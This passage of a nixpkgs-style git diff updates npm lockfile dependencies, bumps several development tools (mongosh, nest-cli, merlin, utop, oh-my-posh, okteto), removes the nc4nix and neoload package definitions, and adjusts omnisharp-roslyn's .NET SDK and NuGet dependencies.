"^1.2.4", + "set-function-length": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" } }, "node_modules/caniuse-lite": { - "version": "1.0.30001583", - "resolved": "https://registry.npmmirror.com/caniuse-lite/-/caniuse-lite-1.0.30001583.tgz", - "integrity": "sha512-acWTYaha8xfhA/Du/z4sNZjHUWjkiuoAi2LM+T/aL+kemKQgPT1xBb/YKjlQ0Qo8gvbHsGNplrEJ+9G3gL7i4Q==" + "version": "1.0.30001588", + "resolved": "https://registry.npmmirror.com/caniuse-lite/-/caniuse-lite-1.0.30001588.tgz", + "integrity": "sha512-+hVY9jE44uKLkH0SrUTqxjxqNTOWHsbnQDIKjwkZ3lNTzUUVdBLBGXtj/q5Mp5u98r3droaZAewQuEDzjQdZlQ==" }, "node_modules/chalk": { "version": "2.4.2", @@ -2606,19 +2594,6 @@ "node": ">=10" } }, - "node_modules/dedent": { - "version": "1.5.1", - "resolved": "https://registry.npmmirror.com/dedent/-/dedent-1.5.1.tgz", - "integrity": "sha512-+LxW+KLWxu3HW3M2w2ympwtqPrqYRzU8fqi6Fhd18fBALe15blJPI/I4+UHveMVG6lJqB4JNd4UG0S5cnVHwIg==", - "peerDependencies": { - "babel-plugin-macros": "^3.1.0" - }, - "peerDependenciesMeta": { - "babel-plugin-macros": { - "optional": true - } - } - }, "node_modules/deep-extend": { "version": "0.6.0", "resolved": "https://registry.npmmirror.com/deep-extend/-/deep-extend-0.6.0.tgz", @@ -2655,13 +2630,13 @@ } }, "node_modules/define-data-property": { - "version": "1.1.1", - "resolved": "https://registry.npmmirror.com/define-data-property/-/define-data-property-1.1.1.tgz", - "integrity": "sha512-E7uGkTzkk1d0ByLeSc6ZsFS79Axg+m1P/VsgYsxHgiuc3tFSj+MjMIwe90FC4lOAZzNBdY7kkO2P2wKdsQ1vgQ==", + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", "dependencies": { - "get-intrinsic": "^1.2.1", - "gopd": "^1.0.1", - "has-property-descriptors": "^1.0.0" + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" }, "engines": { "node": ">= 0.4" @@ -2729,9 +2704,9 @@ "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==" }, "node_modules/electron-to-chromium": { - "version": "1.4.655", - "resolved": "https://registry.npmmirror.com/electron-to-chromium/-/electron-to-chromium-1.4.655.tgz", - "integrity": "sha512-2yszojF7vIZ68adIOvzV4bku8OZad9w5H9xF3ZAMZjPuOjBarlflUkjN6DggdV+L71WZuKUfKUhov/34+G5QHg==" + "version": "1.4.675", + "resolved": "https://registry.npmmirror.com/electron-to-chromium/-/electron-to-chromium-1.4.675.tgz", + "integrity": "sha512-+1u3F/XPNIdUwv8i1lDxHAxCvNNU0QIqgb1Ycn+Jnng8ITzWSvUqixRSM7NOazJuwhf65IV17f/VbKj8DmL26A==" }, "node_modules/emoji-regex": { "version": "9.2.2", @@ -2823,10 +2798,29 @@ "once": "^1.4.0" } }, + "node_modules/es-define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/es-define-property/-/es-define-property-1.0.0.tgz", + "integrity": "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==", + "dependencies": { + "get-intrinsic": "^1.2.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "engines": { + "node": ">= 0.4" + } + }, "node_modules/escalade": { - "version": "3.1.1", - "resolved": "https://registry.npmmirror.com/escalade/-/escalade-3.1.1.tgz", - "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/escalade/-/escalade-3.1.2.tgz", + "integrity": "sha512-ErCHMCae19vR8vQGe50xIsVomy19rg6gFu3+r3jkEO46suLMWBksvVyoGgQV+jOfl84ZSOSlmv6Gxa89PmTGmA==", "engines": { "node": ">=6" } @@ -3112,14 +3106,18 @@ } }, "node_modules/get-intrinsic": { - "version": "1.2.2", - "resolved": "https://registry.npmmirror.com/get-intrinsic/-/get-intrinsic-1.2.2.tgz", - "integrity": "sha512-0gSo4ml/0j98Y3lngkFEot/zhiCeWsbYIlZ+uZOVgzLyLaUw7wxUL+nCTP0XJvJg1AXulJRI3UJi8GsbDuxdGA==", + "version": "1.2.4", + "resolved": "https://registry.npmmirror.com/get-intrinsic/-/get-intrinsic-1.2.4.tgz", + "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==", "dependencies": { + "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" + }, + "engines": { + "node": ">= 0.4" } }, "node_modules/get-stream": { @@ -3184,17 +3182,17 @@ } }, "node_modules/has-property-descriptors": { - "version": "1.0.1", - "resolved": "https://registry.npmmirror.com/has-property-descriptors/-/has-property-descriptors-1.0.1.tgz", - "integrity": "sha512-VsX8eaIewvas0xnvinAe9bw4WfIeODpGYikiWYLH+dma0Jw6KHYqWiWfhQlgOVK8D6PvjubK5Uc4P0iIhIcNVg==", + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", "dependencies": { - "get-intrinsic": "^1.2.2" + "es-define-property": "^1.0.0" } }, "node_modules/has-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmmirror.com/has-proto/-/has-proto-1.0.1.tgz", - "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==", + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/has-proto/-/has-proto-1.0.3.tgz", + "integrity": "sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==", "engines": { "node": ">= 0.4" } @@ -3208,9 +3206,9 @@ } }, "node_modules/hasown": { - "version": "2.0.0", - "resolved": "https://registry.npmmirror.com/hasown/-/hasown-2.0.0.tgz", - "integrity": "sha512-vUptKVTpIJhcczKBbgnS+RtcuYMB8+oNzPK2/Hp3hanz8JmpATdmmgLgSaadVREkDm+e2giHwY3ZRkyjSIDDFA==", + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/hasown/-/hasown-2.0.1.tgz", + "integrity": "sha512-1/th4MHjnwncwXsIW6QMzlvYL9kG5e/CpVvLRZe4XPa8TOUNbCELqmvhDmnkNsAjwaG4+I8gJJL0JBvTTLO9qA==", "dependencies": { "function-bind": "^1.1.2" }, @@ -3289,10 +3287,17 @@ "resolved": "https://registry.npmmirror.com/ini/-/ini-1.3.8.tgz", "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==" }, - "node_modules/ip": { - "version": "2.0.0", - "resolved": "https://registry.npmmirror.com/ip/-/ip-2.0.0.tgz", - "integrity": "sha512-WKa+XuLG1A1R0UWhl2+1XQSi+fZWMsYKffMZTTYsiZaUD8k2yDAj5atimTUD2TZkyCkNEeYE5NhFZmupOGtjYQ==" + "node_modules/ip-address": { + "version": "9.0.5", + "resolved": "https://registry.npmmirror.com/ip-address/-/ip-address-9.0.5.tgz", + "integrity": "sha512-zHtQzGojZXTwZTHQqra+ETKd4Sn3vgi7uBmlPoXVWZqYvuKmtI0l/VZTjqGmJY9x88GGOaZ9+G9ES8hC4T4X8g==", + "dependencies": { + "jsbn": "1.1.0", + "sprintf-js": "^1.1.3" + }, + "engines": { + "node": ">= 12" + } }, "node_modules/ipaddr.js": { "version": "1.9.1", @@ -3438,13 +3443,14 @@ "integrity": "sha512-W+oqK4H+r5sITxfxpSU+MMdr/YSWGvgZMQDIsNoBDGGy4i7GBPTtvFKibQzW06n3U3TqHjhvBJsirShsEJ6eeQ==" }, "node_modules/js-beautify": { - "version": "1.14.11", - "resolved": "https://registry.npmmirror.com/js-beautify/-/js-beautify-1.14.11.tgz", - "integrity": "sha512-rPogWqAfoYh1Ryqqh2agUpVfbxAhbjuN1SmU86dskQUKouRiggUTCO4+2ym9UPXllc2WAp0J+T5qxn7Um3lCdw==", + "version": "1.15.1", + "resolved": "https://registry.npmmirror.com/js-beautify/-/js-beautify-1.15.1.tgz", + "integrity": "sha512-ESjNzSlt/sWE8sciZH8kBF8BPlwXPwhR6pWKAw8bw4Bwj+iZcnKW6ONWUutJ7eObuBZQpiIb8S7OYspWrKt7rA==", "dependencies": { "config-chain": "^1.1.13", - "editorconfig": "^1.0.3", + "editorconfig": "^1.0.4", "glob": "^10.3.3", + "js-cookie": "^3.0.5", "nopt": "^7.2.0" }, "bin": { @@ -3456,6 +3462,14 @@ "node": ">=14" } }, + "node_modules/js-cookie": { + "version": "3.0.5", + "resolved": "https://registry.npmmirror.com/js-cookie/-/js-cookie-3.0.5.tgz", + "integrity": "sha512-cEiJEAEoIbWfCZYKWhVwFuvPX1gETRYPw6LlaTKoxD3s2AkXzkCjnp6h0V77ozyqj0jakteJ4YqDJT830+lVGw==", + "engines": { + "node": ">=14" + } + }, "node_modules/js-tokens": { "version": "4.0.0", "resolved": "https://registry.npmmirror.com/js-tokens/-/js-tokens-4.0.0.tgz", @@ -3472,6 +3486,11 @@ "js-yaml": "bin/js-yaml.js" } }, + "node_modules/jsbn": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/jsbn/-/jsbn-1.1.0.tgz", + "integrity": "sha512-4bYVV3aAMtDTTu4+xsDYa6sy9GyJ69/amsu9sYF2zqjiEoZA5xJi3BrfX3uY+/IekIu7MwdObdbDWpoZdBv3/A==" + }, "node_modules/jsesc": { "version": "2.5.2", "resolved": "https://registry.npmmirror.com/jsesc/-/jsesc-2.5.2.tgz", @@ -4429,9 +4448,9 @@ "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" }, "node_modules/semver": { - "version": "7.5.4", - "resolved": "https://registry.npmmirror.com/semver/-/semver-7.5.4.tgz", - "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "version": "7.6.0", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.6.0.tgz", + "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==", "dependencies": { "lru-cache": "^6.0.0" }, @@ -4509,13 +4528,14 @@ } }, "node_modules/set-function-length": { - "version": "1.2.0", - "resolved": "https://registry.npmmirror.com/set-function-length/-/set-function-length-1.2.0.tgz", - "integrity": "sha512-4DBHDoyHlM1IRPGYcoxexgh67y4ueR53FKV1yyxwFMY7aCqcN/38M1+SwZ/qJQ8iLv7+ck385ot4CcisOAPT9w==", + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/set-function-length/-/set-function-length-1.2.1.tgz", + "integrity": "sha512-j4t6ccc+VsKwYHso+kElc5neZpjtq9EnRICFZtWyBsLojhmeF/ZBd/elqm22WJh/BziDe/SBiOeAt0m2mfLD0g==", "dependencies": { - "define-data-property": "^1.1.1", + "define-data-property": "^1.1.2", + "es-errors": "^1.3.0", "function-bind": "^1.1.2", - "get-intrinsic": "^1.2.2", + "get-intrinsic": "^1.2.3", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.1" }, @@ -4548,13 +4568,17 @@ } }, "node_modules/side-channel": { - "version": "1.0.4", - "resolved": "https://registry.npmmirror.com/side-channel/-/side-channel-1.0.4.tgz", - "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/side-channel/-/side-channel-1.0.5.tgz", + "integrity": "sha512-QcgiIWV4WV7qWExbN5llt6frQB/lBven9pqliLXfGPB+K9ZYXxDozp0wLkHS24kWCm+6YXH/f0HhnObZnZOBnQ==", "dependencies": { - "call-bind": "^1.0.0", - "get-intrinsic": "^1.0.2", - "object-inspect": "^1.9.0" + "call-bind": "^1.0.6", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.4", + "object-inspect": "^1.13.1" + }, + "engines": { + "node": ">= 0.4" } }, "node_modules/signal-exit": { @@ -4592,15 +4616,15 @@ } }, "node_modules/socks": { - "version": "2.7.1", - "resolved": "https://registry.npmmirror.com/socks/-/socks-2.7.1.tgz", - "integrity": "sha512-7maUZy1N7uo6+WVEX6psASxtNlKaNVMlGQKkG/63nEDdLOWNbiUMoLK7X4uYoLhQstau72mLgfEWcXcwsaHbYQ==", + "version": "2.7.3", + "resolved": "https://registry.npmmirror.com/socks/-/socks-2.7.3.tgz", + "integrity": "sha512-vfuYK48HXCTFD03G/1/zkIls3Ebr2YNa4qU9gHDZdblHLiqhJrJGkY3+0Nx0JpN9qBhJbVObc1CNciT1bIZJxw==", "dependencies": { - "ip": "^2.0.0", + "ip-address": "^9.0.5", "smart-buffer": "^4.2.0" }, "engines": { - "node": ">= 10.13.0", + "node": ">= 10.0.0", "npm": ">= 3.0.0" } }, @@ -4612,6 +4636,11 @@ "memory-pager": "^1.0.2" } }, + "node_modules/sprintf-js": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/sprintf-js/-/sprintf-js-1.1.3.tgz", + "integrity": "sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==" + }, "node_modules/statuses": { "version": "2.0.1", "resolved": "https://registry.npmmirror.com/statuses/-/statuses-2.0.1.tgz", diff --git a/pkgs/development/tools/mongosh/source.json b/pkgs/development/tools/mongosh/source.json index d8b801e9055d8..842f2c19a3764 100644 --- a/pkgs/development/tools/mongosh/source.json +++ b/pkgs/development/tools/mongosh/source.json @@ -1,6 +1,6 @@ { - "version": "2.1.3", - "integrity": "sha512-kyggXyuSbjsQDjabXvXlfXW6k7MD+hByNSn8Z30dAQd+OYeM63MvEZubav2+uQUIzCsSycBqYX9xH+4cssz9gQ==", - "filename": "mongosh-2.1.3.tgz", - "deps": "sha256-kuUahlM3QJKOrepzlZlapemgFmBcQDW83Zzgv5zCHOU=" + "version": "2.1.5", + "integrity": "sha512-+FYryX5zOiMSc26CscDADeXxC733YMGLpQcfYUC0r8w3q9PPW7MqMvJN1nFzmsiKsojuV/yyMP+ImIE1j3YX1g==", + "filename": "mongosh-2.1.5.tgz", + "deps": "sha256-A0m/9EuNRNhmtLt/bbC/fih+fmkBpdsf6bU0acQc6wg=" } diff --git a/pkgs/development/tools/nc4nix/default.nix b/pkgs/development/tools/nc4nix/default.nix deleted file mode 100644 index f8fd1bb2830f3..0000000000000 --- a/pkgs/development/tools/nc4nix/default.nix +++ /dev/null @@ -1,50 +0,0 @@ -{ lib -, buildGoModule -, fetchFromGitHub -, nix -, makeWrapper -, fetchpatch -}: - -buildGoModule { - pname = "nc4nix"; - version = "unstable-2023-11-06"; - - src = fetchFromGitHub { - owner = "helsinki-systems"; - repo = "nc4nix"; - rev = "47666b418a71c609f8d2b2c2679956c2ac9818e5"; - hash = "sha256-cXg0emFFAYI1Jtiz+Xilmct3JNiO9cSWUbghyIRQBnY="; - }; - - patches = [ - # Switch hash calculation method - # https://github.com/helsinki-systems/nc4nix/pull/3 - (fetchpatch { - url = "https://github.com/helsinki-systems/nc4nix/commit/a7bca4793cc12e87d381f12f6f8c00ae2ca02893.patch"; - sha256 = "sha256-0JxyhSQLtlgLtsMv82wMjQHGdmOoQ2dcPPNAw2cFByE="; - name = "switch_hash_calculation_method.patch"; - }) - ]; - - vendorHash = "sha256-uhINWxFny/OY7M2vV3ehFzP90J6Z8cn5IZHWOuEg91M="; - - nativeBuildInputs = [ - makeWrapper - ]; - - postInstall = '' - # Depends on nix-prefetch-url - wrapProgram $out/bin/nc4nix \ - --prefix PATH : ${lib.makeBinPath [ nix ]} - ''; - - meta = with lib; { - description = "Packaging helper for Nextcloud apps"; - homepage = "https://github.com/helsinki-systems/nc4nix"; - license = licenses.mit; - maintainers = with maintainers; [ onny ]; - platforms = platforms.linux; - }; -} - diff --git a/pkgs/development/tools/neoload/default.nix b/pkgs/development/tools/neoload/default.nix deleted file mode 100644 index b7e927dbfd077..0000000000000 --- a/pkgs/development/tools/neoload/default.nix +++ /dev/null @@ -1,97 +0,0 @@ -{ lib, stdenv, fetchurl, writeTextFile, jre, makeWrapper, fontsConf, licenseAccepted ? false }: - -# If you happen to use this software on the XMonad window manager, you will have issues with -# grey windows, no resizing, menus not showing and other glitches. -# This can be fixed by setting a different WM name: -# http://www.haskell.org/haskellwiki/Xmonad/Frequently_asked_questions#Using_SetWMName - -if !licenseAccepted then throw '' - You have to accept the neoload EULA at - https://www.neotys.com/documents/legal/eula/neoload/eula_en.html - by setting nixpkgs config option 'neoload.accept_license = true'; - '' -else assert licenseAccepted; - -# the installer is very picky and demands 1.7.0.07 -let dotInstall4j = path: writeTextFile { name = "dot-install4j"; text = '' - JRE_VERSION ${path} 1 7 0 7 - JRE_INFO ${path} 94 - ''; }; - - responseVarfile = writeTextFile { name = "response.varfile"; text = '' - sys.programGroupDisabled$Boolean=false - sys.component.Monitor\ Agent$Boolean=true - sys.component.Common$Boolean=true - sys.component.Controller$Boolean=true - sys.languageId=en - sys.component.Load\ Generator$Boolean=true - sys.installationTypeId=Controller - sys.installationDir=INSTALLDIR/lib/neoload - sys.symlinkDir=INSTALLDIR/bin - ''; }; - -in stdenv.mkDerivation rec { - pname = "neoload"; - version = "4.1.4"; - - src = fetchurl ( - if stdenv.hostPlatform.system == "x86_64-linux" then - { url = "http://neoload.installers.neotys.com/documents/download/${pname}/v${lib.versions.majorMinor version}/${pname}_${lib.replaceStrings ["."] ["_"] version}_linux_x64.sh"; - sha256 = "199jcf5a0nwfm8wfld2rcjgq64g91vvz2bkmki8dxfzf1yasifcd"; } - else - { url = "http://neoload.installers.neotys.com/documents/download/${pname}/v${lib.versions.majorMinor version}/${pname}_${lib.replaceStrings ["."] ["_"] version}_linux_x86.sh"; - sha256 = "1z66jiwcxixsqqwa0f4q8m2p5kna4knq6lic8y8l74dgv25mw912"; } ); - - nativeBuildInputs = [ makeWrapper ]; - phases = [ "installPhase" ]; - - # TODO: load generator / monitoring agent only builds - - installPhase = '' - mkdir -p $out/lib/neoload - - # the installer wants to use its internal JRE - # disable this. The extra spaces are needed because the installer carries - # a binary payload, so should not change in size - sed -e 's/^if \[ -f jre.tar.gz/if false /' $src > installer - chmod a+x installer - - cp ${dotInstall4j jre} .install4j - chmod u+w .install4j - - sed -e "s|INSTALLDIR|$out|" ${responseVarfile} > response.varfile - - export HOME=`pwd` - export INSTALL4J_JAVA_HOME=${jre.home} - export FONTCONFIG_FILE=${fontsConf} - bash -ic './installer -q -varfile response.varfile' - - sed -i 's/Xmx450m/Xmx900m/;s/Xss192k/Xss384k/' $out/lib/neoload/conf/agent.properties - - for i in $out/bin/*; do - wrapProgram $i --run 'cp ${dotInstall4j "${jre.home}/jre"} ~/.install4j' \ - --run 'chmod u+w ~/.install4j' - done - - mkdir -p $out/share/applications - for i in $out/lib/neoload/*.desktop; do - name=$(basename "$i") - sed -e 's|/lib/neoload/bin|/bin|' "$i" > "$out/share/applications/$name" - done - rm -r $out/lib/neoload/*.desktop $out/lib/neoload/uninstall - - ''; - - meta = { - description = "Load testing software for Web applications to realistically simulate user activity and analyze server behavior"; - - homepage = "https://www.neotys.com/product/overview-neoload.html"; - - sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ]; - # https://www.neotys.com/documents/legal/eula/neoload/eula_en.html - license = lib.licenses.unfree; - - maintainers = [ lib.maintainers.bluescreen303 ]; - platforms = [ "i686-linux" "x86_64-linux" ]; - }; -} diff --git a/pkgs/development/tools/nest-cli/default.nix b/pkgs/development/tools/nest-cli/default.nix index 7fa9595e18286..65a6020545ec5 100644 --- a/pkgs/development/tools/nest-cli/default.nix +++ b/pkgs/development/tools/nest-cli/default.nix @@ -8,16 +8,16 @@ buildNpmPackage rec { pname = "nest-cli"; - version = "10.2.1"; + version = "10.3.2"; src = fetchFromGitHub { owner = "nestjs"; repo = pname; rev = version; - hash = "sha256-vnF+ES6RK4iiIJsWUV57DqoLischh+1MlmlK46Z6USY="; + hash = "sha256-FSI87oeHiNqL8FhGavPtqurOr/1Y5iGawSwhBhLB2Ls="; }; - npmDepsHash = "sha256-9yd+k+HpARM63/esW+av0zfcuAVsp9Lkfp6hmUQO5Yg="; + npmDepsHash = "sha256-RqotLpMISfB2xE9zng0TkapJ0y1fuVWP/0nY2VcMVRU="; env = { npm_config_build_from_source = true; diff --git a/pkgs/development/tools/ocaml/merlin/4.x.nix b/pkgs/development/tools/ocaml/merlin/4.x.nix index 3bccf4162be6b..fb6282054c50e 100644 --- a/pkgs/development/tools/ocaml/merlin/4.x.nix +++ b/pkgs/development/tools/ocaml/merlin/4.x.nix @@ -21,20 +21,19 @@ let "4.12.1" = "4.7-412"; "4.13.0" = "4.7-413"; "4.13.1" = "4.7-413"; - "4.14.0" = "4.13-414"; - "4.14.1" = "4.13-414"; - "5.0.0" = "4.12-500"; - "5.1.0" = "4.13-501"; - "5.1.1" = "4.13.1-501"; + "4.14.0" = "4.14-414"; + "4.14.1" = "4.14-414"; + "5.0.0" = "4.14-500"; + "5.1.0" = "4.14-501"; + "5.1.1" = "4.14-501"; }; hashes = { "4.7-412" = "sha256-0U3Ia7EblKULNy8AuXFVKACZvGN0arYJv7BWiBRgT0Y="; "4.7-413" = "sha256-aVmGWS4bJBLuwsxDKsng/n0A6qlyJ/pnDTcYab/5gyU="; - "4.12-500" = "sha256-j49R7KVzNKlXDL7WibTHxPG4VSOVv0uaz5/yMZZjkH8="; - "4.13-414" = "sha256-AlzxqTuh5AkW9dnPIv51abv7r0A/VOS3JOT5IHix2wM="; - "4.13-501" = "sha256-G/VrI+qBVj2wxuB2qE9P1M73IvDmqmTrBFAA6mp+NRE="; - "4.13.1-501" = "sha256-NVfgX3DFsQghApEgWilCgr5O2WSkwKtenZZFSJ1wwa0="; + "4.14-414" = "sha256-eQGMyqN8FQHdXE1c94vDQg1kGx6CRDZimBxUctlzmT0="; + "4.14-500" = "sha256-7CPzJPh1UgzYiX8wPMbU5ZXz1wAJFNQQcp8WuGrR1w4="; + "4.14-501" = "sha256-t+npbpJAWMLOQpZCeIqi45ByDUQeIkU4vPSUplIDopI="; }; version = lib.getAttr ocaml.version merlinVersions; diff --git a/pkgs/development/tools/ocaml/utop/default.nix b/pkgs/development/tools/ocaml/utop/default.nix index e2f0abd65c95a..450666a25609d 100644 --- a/pkgs/development/tools/ocaml/utop/default.nix +++ b/pkgs/development/tools/ocaml/utop/default.nix @@ -6,14 +6,14 @@ buildDunePackage rec { pname = "utop"; - version = "2.13.1"; + version = "2.14.0"; propagatedBuildInputs = [ findlib lambda-term xdg zed logs ]; minimalOCamlVersion = "4.11"; src = fetchurl { url = "https://github.com/ocaml-community/utop/releases/download/${version}/utop-${version}.tbz"; - sha256 = "sha256-sE7Co5TRpqKKeURMWPZuq3e390QB9HFKpubxwhJab/0="; + sha256 = "sha256-D9WpvFtFhSSnFGOh/gzRb5t74TZzrjAxGLchbg0nO6k="; }; nativeBuildInputs = [ makeWrapper cppo ]; diff --git a/pkgs/development/tools/oh-my-posh/default.nix b/pkgs/development/tools/oh-my-posh/default.nix index afbba2d7d4b10..92cc9ac1803a0 100644 --- a/pkgs/development/tools/oh-my-posh/default.nix +++ b/pkgs/development/tools/oh-my-posh/default.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "oh-my-posh"; - version = "19.8.3"; + version = "19.11.7"; src = fetchFromGitHub { owner = "jandedobbeleer"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-sYXg/t8U+uu1kYtEH6j7s/dCQJGuG880ruQFrvB5GS8="; + hash = "sha256-CBAIojr+J84spnd0SQHT0xLoLuOPQsZEhWfKZMuj12Q="; }; - vendorHash = "sha256-jJVqIH0Qa9otp2lnYKa7ypqeE01BynR/e852wuhuLuA="; + vendorHash = "sha256-OkcwcQfI1CeKIQaaS/Bd1Hct2yebp0TB98lsGAVRWqk="; sourceRoot = "${src.name}/src"; diff --git a/pkgs/development/tools/okteto/default.nix b/pkgs/development/tools/okteto/default.nix index 1c7ba093b6aaf..c604d997ef26d 100644 --- a/pkgs/development/tools/okteto/default.nix +++ b/pkgs/development/tools/okteto/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "okteto"; - version = "2.25.1"; + version = "2.25.2"; src = fetchFromGitHub { owner = "okteto"; repo = "okteto"; rev = version; - hash = "sha256-HBXp66chq+SzdEb463awolf4Uv0ScHN6MjoziYyh4kA="; + hash = "sha256-6ss1dWHgvsp56Ua2AejJsLC5j7de7iW80m785+F9Ur4="; }; vendorHash = "sha256-+Adnveutg8soqK2Zwn2SNq7SEHd/Z91diHbPYHrGVrA="; diff --git a/pkgs/development/tools/omnisharp-roslyn/default.nix b/pkgs/development/tools/omnisharp-roslyn/default.nix index db7ad7d0b2841..2441df861d591 100644 --- a/pkgs/development/tools/omnisharp-roslyn/default.nix +++ b/pkgs/development/tools/omnisharp-roslyn/default.nix @@ -23,7 +23,7 @@ let finalPackage = buildDotnetModule rec { projectFile = "src/OmniSharp.Stdio.Driver/OmniSharp.Stdio.Driver.csproj"; nugetDeps = ./deps.nix; - dotnet-sdk = sdk_8_0; + dotnet-sdk = with dotnetCorePackages; combinePackages [ sdk_6_0 sdk_8_0 ]; dotnet-runtime = sdk_8_0; dotnetInstallFlags = [ "--framework net6.0" ]; diff --git a/pkgs/development/tools/omnisharp-roslyn/deps.nix b/pkgs/development/tools/omnisharp-roslyn/deps.nix index d53ef9b60c79e..6379a4a293414 100644 --- a/pkgs/development/tools/omnisharp-roslyn/deps.nix +++ b/pkgs/development/tools/omnisharp-roslyn/deps.nix @@ -11,11 +11,6 @@ (fetchNuGet { pname = "ICSharpCode.Decompiler"; version = "8.2.0.7535"; sha256 = "1pvy3kss6s1v60yspfw11y3rs750rbxh735p90zrgxjshp9sq5g0"; }) (fetchNuGet { pname = "McMaster.Extensions.CommandLineUtils"; version = "4.1.0"; sha256 = "1ppw9nx9s5yyp6j8ljky7l9y5b91yf0sj2lqbakabjvzppr0pw4l"; }) (fetchNuGet { pname = "MediatR"; version = "8.1.0"; sha256 = "0cqx7yfh998xhsfk5pr6229lcjcs1jxxyqz7dwskc9jddl6a2akp"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Ref"; version = "6.0.26"; sha256 = "1d8nkz24vsm0iy2xm8y5ak2q1w1p99dxyz0y26acs6sfk2na0vm6"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64"; version = "6.0.26"; sha256 = "1za8lc52m4z54d68wd64c2nhzy05g3gx171k5cdlx73fbymiys9z"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-x64"; version = "6.0.26"; sha256 = "1zpbmz6z8758gwywzg0bac8kx9x39sxxc9j4a4r2jl74l9ssw4vm"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64"; version = "6.0.26"; sha256 = "1i8ydlwjzk7j0mzvn0rpljxfp1h50zwaqalnyvfxai1fwgigzgw5"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.osx-x64"; version = "6.0.26"; sha256 = "02src68hd3213sd1a2ms1my7i92knfmdxclvv90il9cky2zsq8kw"; }) (fetchNuGet { pname = "Microsoft.Bcl.AsyncInterfaces"; version = "7.0.0"; sha256 = "1waiggh3g1cclc81gmjrqbh128kwfjky3z79ma4bd2ms9pa3gvfm"; }) (fetchNuGet { pname = "Microsoft.Bcl.AsyncInterfaces"; version = "8.0.0"; sha256 = "0z4jq5prnxyb4p3163yxx35znpd2msjd8hw8ysmv4ah90f5sd9gm"; }) (fetchNuGet { pname = "Microsoft.Build"; version = "17.3.2"; sha256 = "17g4ka0c28l9v3pmf3i7cvic137h7zg6xqc78qf5j5hj7qbcps5g"; }) @@ -66,15 +61,6 @@ (fetchNuGet { pname = "Microsoft.Extensions.Primitives"; version = "8.0.0"; sha256 = 